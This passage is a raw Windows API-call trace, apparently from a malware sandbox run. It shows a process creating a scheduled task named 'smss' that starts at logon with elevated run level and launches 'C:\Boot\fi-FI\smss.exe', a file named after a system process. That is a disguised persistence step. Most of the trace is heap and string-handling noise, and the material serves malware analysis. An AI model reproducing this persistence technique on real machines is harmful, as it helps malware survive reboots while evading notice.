lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edbf0 [0074.836] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.836] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0074.836] lstrlenW (lpString="MONTHLY") returned 7 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ee620 [0074.836] GetThreadLocale () returned 0x409 [0074.836] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0074.836] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.836] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0074.836] lstrlenW (lpString="ONCE") returned 4 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xa) returned 0x2ee640 [0074.837] GetThreadLocale () returned 0x409 [0074.837] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0074.837] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.837] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0074.837] lstrlenW (lpString="ONSTART") returned 7 [0074.837] GetThreadLocale () returned 0x409 [0074.837] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0074.837] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.837] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0074.837] lstrlenW (lpString="ONLOGON") returned 7 [0074.837] GetThreadLocale () returned 0x409 [0074.837] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0074.837] SetLastError (dwErrCode=0x0) [0074.837] GetProcessHeap () returned 0x2d0000 [0074.837] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x1fc) returned 0x2ed330 [0074.837] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.837] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0074.837] lstrlenW (lpString="First") returned 5 [0074.837] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.837] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0074.837] lstrlenW (lpString="Second") returned 6 [0074.837] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.837] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0074.837] lstrlenW (lpString="Third") returned 5 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0074.838] lstrlenW (lpString="Fourth") returned 6 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0074.838] lstrlenW (lpString="Last") returned 4 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0074.838] lstrlenW (lpString="First") returned 5 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0074.838] lstrlenW (lpString="Second") returned 6 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0074.838] lstrlenW (lpString="Third") returned 5 [0074.838] GetProcessHeap () returned 0x2d0000 [0074.838] GetProcessHeap () returned 0x2d0000 [0074.838] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee640) returned 1 [0074.838] GetProcessHeap () returned 0x2d0000 [0074.838] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee640) returned 0xa [0074.838] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee640 | out: hHeap=0x2d0000) returned 1 [0074.838] GetProcessHeap () returned 0x2d0000 [0074.838] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ee640 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.838] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0074.838] lstrlenW (lpString="Fourth") returned 6 [0074.838] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.839] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0074.839] lstrlenW (lpString="Last") returned 4 [0074.839] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c360, cchData=128 | out: lpLCData="0") returned 2 [0074.839] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.839] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0074.839] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee560) returned 1 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee560) returned 0x10 [0074.839] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee560 | out: hHeap=0x2d0000) returned 1 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ee560 [0074.839] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x23c380, cchData=128 | out: lpLCData="0") returned 2 [0074.839] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.839] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0074.839] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee580) returned 1 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee580) returned 0x10 [0074.839] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee580 | out: hHeap=0x2d0000) returned 1 [0074.839] GetProcessHeap () returned 0x2d0000 [0074.839] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x16) returned 0x2ee580 [0074.839] GetLocalTime (in: lpSystemTime=0x23c5b0 | out: lpSystemTime=0x23c5b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3b, wMilliseconds=0xc2)) [0074.840] GetLocalTime (in: lpSystemTime=0x23ce68 | out: lpSystemTime=0x23ce68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3b, wMilliseconds=0xc2)) [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] lstrlenW (lpString="") returned 0 [0074.840] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0074.869] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0075.069] CoCreateInstance (in: rclsid=0xff9d1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff9d1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x23cc30 | out: ppv=0x23cc30*=0x3ddee0) returned 0x0 [0075.081] TaskScheduler:ITaskService:Connect (This=0x3ddee0, serverName=0x23cd10*(varType=0x8, wReserved1=0x23, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x23ccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x23ccf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23ccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0075.177] TaskScheduler:IUnknown:AddRef (This=0x3ddee0) returned 0x2 [0075.177] TaskScheduler:ITaskService:GetFolder (in: This=0x3ddee0, Path=0x0, ppFolder=0x23cdc8 | out: ppFolder=0x23cdc8*=0x187ca0) returned 0x0 [0075.179] TaskScheduler:ITaskService:NewTask (in: This=0x3ddee0, flags=0x0, ppDefinition=0x23cdc0 | out: ppDefinition=0x23cdc0*=0x187cf0) returned 0x0 [0075.180] ITaskDefinition:get_Actions (in: This=0x187cf0, ppActions=0x23cd40 | out: ppActions=0x23cd40*=0x187db0) returned 0x0 [0075.180] IActionCollection:Create (in: This=0x187db0, Type=0, ppAction=0x23cd60 | out: ppAction=0x23cd60*=0x186140) returned 0x0 [0075.180] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.180] lstrlenW (lpString="'C:\\Boot\\fi-FI\\smss.exe'") returned 24 [0075.180] lstrlenW (lpString=" ") returned 1 [0075.180] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0075.180] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x49) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0075.181] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0075.181] IUnknown:Release (This=0x186140) returned 0x1 [0075.181] IUnknown:Release (This=0x187db0) returned 0x1 [0075.181] ITaskDefinition:get_Triggers (in: This=0x187cf0, ppTriggers=0x23c8c0 | out: ppTriggers=0x23c8c0*=0x187ef0) returned 0x0 [0075.181] ITriggerCollection:Create (in: This=0x187ef0, Type=9, ppTrigger=0x23c8b8 | out: ppTrigger=0x23c8b8*=0x1861b0) returned 0x0 [0075.182] IUnknown:QueryInterface (in: This=0x1861b0, riid=0xff9d1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x23c8b0 | out: ppvObject=0x23c8b0*=0x1861b0) returned 0x0 [0075.182] IUnknown:Release (This=0x1861b0) returned 0x2 [0075.182] _vsnwprintf (in: _Buffer=0x23c800, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x23c7d8 | out: _Buffer="2023-09-19T17:16:00") returned 19 [0075.182] ITrigger:put_StartBoundary (This=0x1861b0, StartBoundary="2023-09-19T17:16:00") returned 0x0 [0075.182] lstrlenW (lpString="") returned 0 [0075.182] lstrlenW (lpString="") returned 0 [0075.182] lstrlenW (lpString="") returned 0 [0075.182] lstrlenW (lpString="") returned 0 [0075.182] IUnknown:Release (This=0x1861b0) returned 0x1 [0075.182] IUnknown:Release (This=0x187ef0) returned 0x1 [0075.182] ITaskDefinition:get_Settings (in: This=0x187cf0, ppSettings=0x23cd60 | out: ppSettings=0x23cd60*=0x185f80) returned 0x0 [0075.182] lstrlenW (lpString="") returned 0 [0075.182] IUnknown:Release (This=0x185f80) returned 0x1 [0075.182] GetLocalTime (in: lpSystemTime=0x23cc18 | out: lpSystemTime=0x23cc18*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x10, wSecond=0x3b, wMilliseconds=0x219)) [0075.183] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0075.183] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0075.183] GetUserNameW (in: lpBuffer=0x23cc40, pcbBuffer=0x23cc28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x23cc28) returned 1 [0075.183] ITaskDefinition:get_RegistrationInfo (in: This=0x187cf0, ppRegistrationInfo=0x23cc10 | out: ppRegistrationInfo=0x23cc10*=0x187e30) returned 0x0 [0075.183] IRegistrationInfo:put_Author (This=0x187e30, Author="") returned 0x0 [0075.184] _vsnwprintf (in: _Buffer=0x23cc40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x23cbd8 | out: _Buffer="2023-09-19T17:16:59") returned 19 [0075.184] IRegistrationInfo:put_Date (This=0x187e30, Date="") returned 0x0 [0075.184] IUnknown:Release (This=0x187e30) returned 0x1 [0075.184] malloc (_Size=0x18) returned 0x1862c0 [0075.184] free (_Block=0x1862c0) [0075.184] lstrlenW (lpString="") returned 0 [0075.184] ITaskDefinition:get_Principal (in: This=0x187cf0, ppPrincipal=0x23ce30 | out: ppPrincipal=0x23ce30*=0x186090) returned 0x0 [0075.184] IPrincipal:put_RunLevel (This=0x186090, RunLevel=1) returned 0x0 [0075.184] IUnknown:Release (This=0x186090) returned 0x1 [0075.184] malloc (_Size=0x18) returned 0x1862c0 [0075.184] ITaskFolder:RegisterTaskDefinition (in: This=0x187ca0, Path="smss", pDefinition=0x187cf0, flags=6, UserId=0x23ceb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x23cef0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23edc0, varVal2=0xfe), LogonType=3, sddl=0x23ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x23cdd0 | out: ppTask=0x23cdd0*=0x186460) returned 0x0 [0075.649] free (_Block=0x1862c0) [0075.649] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0075.649] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0075.649] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0075.649] GetProcessHeap () returned 0x2d0000 [0075.649] GetProcessHeap () returned 0x2d0000 [0075.650] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5a0) returned 1 [0075.650] GetProcessHeap () returned 0x2d0000 [0075.650] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee5a0) returned 0xe [0075.650] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee5a0 | out: hHeap=0x2d0000) returned 1 [0075.650] GetProcessHeap () returned 0x2d0000 [0075.650] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x82) returned 0x30a5f0 [0075.650] _vsnwprintf (in: _Buffer=0x23d510, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x23cd78 | out: _Buffer="SUCCESS: The scheduled task \"smss\" has successfully been created.\n") returned 66 [0075.650] _fileno (_File=0x7feffe22ab0) returned -2 [0075.650] _errno () returned 0x184bb0 [0075.650] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0075.650] SetLastError (dwErrCode=0x6) [0075.650] lstrlenW (lpString="SUCCESS: The scheduled task \"smss\" has successfully been created.\n") returned 66 [0075.650] GetConsoleOutputCP () returned 0x0 [0075.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smss\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0075.651] GetConsoleOutputCP () returned 0x0 [0075.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"smss\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xffa11880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"smss\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0075.651] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0075.651] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0075.651] IUnknown:Release (This=0x186460) returned 0x0 [0075.651] TaskScheduler:IUnknown:Release (This=0x187cf0) returned 0x0 [0075.651] TaskScheduler:IUnknown:Release (This=0x187ca0) returned 0x0 [0075.651] TaskScheduler:IUnknown:Release (This=0x3ddee0) returned 0x1 [0075.651] lstrlenW (lpString="") returned 0 [0075.651] GetProcessHeap () returned 0x2d0000 [0075.651] GetProcessHeap () returned 0x2d0000 [0075.651] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed330) returned 1 [0075.651] GetProcessHeap () returned 0x2d0000 [0075.651] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed330) returned 0x1fc [0075.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed330 | out: hHeap=0x2d0000) returned 1 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee520) returned 1 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee520) returned 0x16 [0075.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee520 | out: hHeap=0x2d0000) returned 1 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee500) returned 1 [0075.652] GetProcessHeap () returned 0x2d0000 [0075.652] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee500) returned 0x18 [0075.652] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee500 | out: hHeap=0x2d0000) returned 1 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd70) returned 1 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edd70) returned 0x20 [0075.653] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edd70 | out: hHeap=0x2d0000) returned 1 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecff0) returned 1 [0075.653] GetProcessHeap () returned 0x2d0000 [0075.653] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecff0) returned 0xa0 [0075.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecff0 | out: hHeap=0x2d0000) returned 1 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecfd0) returned 1 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ecfd0) returned 0x18 [0075.654] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ecfd0 | out: hHeap=0x2d0000) returned 1 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb30) returned 1 [0075.654] GetProcessHeap () returned 0x2d0000 [0075.654] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edb30) returned 0x20 [0075.655] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb30 | out: hHeap=0x2d0000) returned 1 [0075.655] GetProcessHeap () returned 0x2d0000 [0075.655] GetProcessHeap () returned 0x2d0000 [0075.655] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c30) returned 1 [0075.655] GetProcessHeap () returned 0x2d0000 [0075.655] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7c30) returned 0x32 [0075.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7c30 | out: hHeap=0x2d0000) returned 1 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee540) returned 1 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee540) returned 0x18 [0075.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee540 | out: hHeap=0x2d0000) returned 1 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb00) returned 1 [0075.656] GetProcessHeap () returned 0x2d0000 [0075.656] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edb00) returned 0x20 [0075.656] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edb00 | out: hHeap=0x2d0000) returned 1 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bb0) returned 1 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e7bb0) returned 0x34 [0075.657] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e7bb0 | out: hHeap=0x2d0000) returned 1 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee4e0) returned 1 [0075.657] GetProcessHeap () returned 0x2d0000 [0075.657] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ee4e0) returned 0x18 [0075.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ee4e0 | out: hHeap=0x2d0000) returned 1 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edad0) returned 1 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2edad0) returned 0x20 [0075.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2edad0 | out: hHeap=0x2d0000) returned 1 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed310) returned 1 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.658] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed310) returned 0xe [0075.658] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed310 | out: hHeap=0x2d0000) returned 1 [0075.658] GetProcessHeap () returned 0x2d0000 [0075.659] GetProcessHeap () returned 0x2d0000 [0075.659] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2f0) returned 1 [0075.659] GetProcessHeap () returned 0x2d0000 [0075.659] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2ed2f0) returned 0x18 [0075.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed2f0 | out: hHeap=0x2d0000) returned 1 [0075.659] GetProcessHeap () returned 0x2d0000 [0075.659] GetProcessHeap () returned 0x2d0000 [0075.659] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5e00) returned 1 [0075.659] GetProcessHeap () returned 0x2d0000 [0075.659] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e5e00) returned 0x20 [0075.659] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5e00 | out: hHeap=0x2d0000) returned 1 [0075.664] GetProcessHeap () returned 0x2d0000 [0075.664] 